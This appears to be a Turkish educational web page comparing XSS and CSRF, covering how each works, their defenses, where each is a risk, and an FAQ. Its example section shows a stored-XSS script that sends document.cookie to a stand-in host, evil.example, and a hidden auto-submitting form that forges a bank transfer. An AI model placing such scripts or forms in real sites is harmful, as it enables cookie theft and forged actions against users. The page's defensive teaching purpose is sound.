Yan yana
XSSvsCSRF
XSS ile CSRF arasındaki fark nedir?
Güncellendi 2 dk okuma6 fark
Kısaca
XSS, güvenilen bir sitede çalışacak kötü amaçlı betik enjekte eder; CSRF ise oturumu açık kullanıcının tarayıcısını o siteye istenmeyen istek atmaya kandırır.
XSS
Siteler Arası Betik Çalıştırma (Cross-Site Scripting)
XSS, saldırganın güvenilir bir siteye kötü amaçlı JavaScript enjekte edip bu kodu diğer kullanıcıların tarayıcısında çalıştırmasına yol açan zafiyettir.
XSS sayfasını okuCSRF
Siteler Arası İstek Sahteciliği (Cross-Site Request Forgery)
CSRF, oturum açmış kullanıcının tarayıcısını güvenilir bir siteye istenmeyen istek göndermeye kandıran, sitenin de gerçek kullanıcı eylemi sandığı saldırıdır.
CSRF sayfasını okuXSS ve CSRF karşılaştırması
| Özellik | XSS | CSRF |
|---|---|---|
| Kötüye kullanılan güven | Kullanıcının web sitesine güveni | Web sitesinin kullanıcının tarayıcısına güveni |
| Saldırı kodunun çalıştığı yer | Hedef sitede, kurbanın tarayıcısında | Saldırganın kendi sitesinde |
| Veri okuyabilir mi | Evet: sayfa içeriği, token'lar, betiğin ulaşabildiği her şey | Hayır: istekler körlemesine gönderilir ve yanıtlar gizli kalır |
| Kök neden | Kaçış uygulanmadan oluşturulan güvenilmeyen girdi | Yalnızca kendiliğinden gönderilen çerezlerle doğrulanan istekler |
| Ana savunmalar | Çıktıya kaçış uygulama, HTML temizleme, Content Security Policy | CSRF token'ları, SameSite cookie'leri, Origin başlığı denetimleri |
| Tipik etki | Oturum hırsızlığı, hesabın ele geçirilmesi, tahrif edilmiş sayfalar | İstenmeyen transferler, e-posta veya parola değişiklikleri |
Fark, açıklamalı
Siteler arası betik çalıştırma (XSS), bir uygulama güvenilmeyen girdiyi kaçış (escape) uygulamadan bir sayfaya kattığında olur; böylece saldırganın JavaScript'i diğer kullanıcıların tarayıcılarında sitenin tüm yetkileriyle çalışır. Siteler arası istek sahteciliği (CSRF) ise kötü amaçlı bir sayfa kurbanın tarayıcısına, oturum açtığı bir siteye istek yaptırdığında olur ve tarayıcı çerezlerini kendiliğinden ekler.
Fark, saldırganın neyi denetlediğidir. XSS'te saldırganın kodu sizin origin'inizde çalışır; bu yüzden sayfayı okuyabilir, veri çalabilir ve kullanıcı gibi her türlü işlemi yapabilir. CSRF'de saldırgan hiçbir şeyi okuyamaz; yalnızca körlemesine bir istek atıp bir e-posta adresi ya da para transferi gibi bir şeyi değiştirmesini umabilir.
Savunmalar da farklıdır. XSS; çıktıya kaçış uygulayarak, izin verdiğiniz HTML'i temizleyerek (sanitize), innerHTML gibi güvensiz API'lerden kaçınarak ve bir Content Security Policy ekleyerek önlenir. CSRF ise CSRF karşıtı token'lar, SameSite cookie'leri ve veri değiştiren isteklerde Origin başlığının denetlenmesiyle önlenir. XSS ayrıca CSRF korumasını da aşar, çünkü kendi sitenizde çalışan bir betik token'ı okuyabilir.
Sık yapılan bir yanlış, modern framework'lerin ve tarayıcıların iki saldırıyı da geçersiz kıldığı düşüncesidir. Framework'ler çıktıya varsayılan olarak kaçış uygular ve bazı tarayıcılar cookie'leri aksi belirtilmedikçe artık SameSite=Lax sayar; ama ham HTML oluşturma, yanlış yapılandırılmış cookie'ler ve veriyi değiştiren GET istekleri gerçek uygulamaları hâlâ savunmasız bırakır.
Hangisi nerede risk oluşturur?
XSS riski şu durumlarda var:
- Sayfalarınız yorumlar ya da profiller gibi kullanıcı tarafından üretilen içerik gösteriyor.
- Kod innerHTML ile HTML ekliyor ya da ham işaretleme (markup) oluşturuyor.
- URL parametreleri ya da arama terimleri sayfaya geri yansıtılıyor.
CSRF riski şu durumlarda var:
- Uygulamanız istekleri doğrulamak için cookie'lere dayanıyor.
- Formlar ya da uç noktalar veriyi CSRF token'ı veya Origin denetimi olmadan değiştiriyor.
- GET istekleri kayıt silmek ya da para taşımak gibi eylemler gerçekleştiriyor.
Her saldırı nasıl görünür
<!-- XSS: a comment saved without escaping... -->
<div class="comment">
Nice post!
<script>
fetch("https://evil.example/steal?c=" + document.cookie);
</script>
</div>
<!-- ...runs as trusted code for every visitor --><!-- CSRF: a hidden form on the attacker's own site -->
<form action="https://bank.example/transfer" method="POST">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="1000" />
</form>
<script>
// The browser attaches the victim's bank cookies
document.forms[0].submit();
</script>Sık sorulan sorular
CSRF koruması XSS'i durdurur mu?
Hayır. CSRF token'ları XSS'e karşı hiçbir şey yapmaz; bir XSS açığı CSRF token'larını okuyup bu korumayı bile aşabilir. Her saldırının kendi savunmasına ihtiyacı vardır.
SameSite cookie'leri CSRF'yi önler mi?
SameSite=Lax veya Strict, cookie'leri siteler arası isteklerde göndermeyerek CSRF saldırılarının çoğunu engeller. CSRF token'ları ya da Origin denetimleriyle birlikte en iyi çalışır; bunlar eski tarayıcıları ve kardeş alt alan adlarından gelen saldırıları da kapsar.
XSS mi CSRF mi daha tehlikeli?
XSS genellikle daha ciddidir; çünkü saldırganın betiği veri okuyabilir ve kullanıcının yapabildiği her şeyi yapabilir. CSRF körlemesine isteklerle sınırlıdır, ama hesap bilgilerini değiştirmek gibi yine de ciddi zarar verebilir.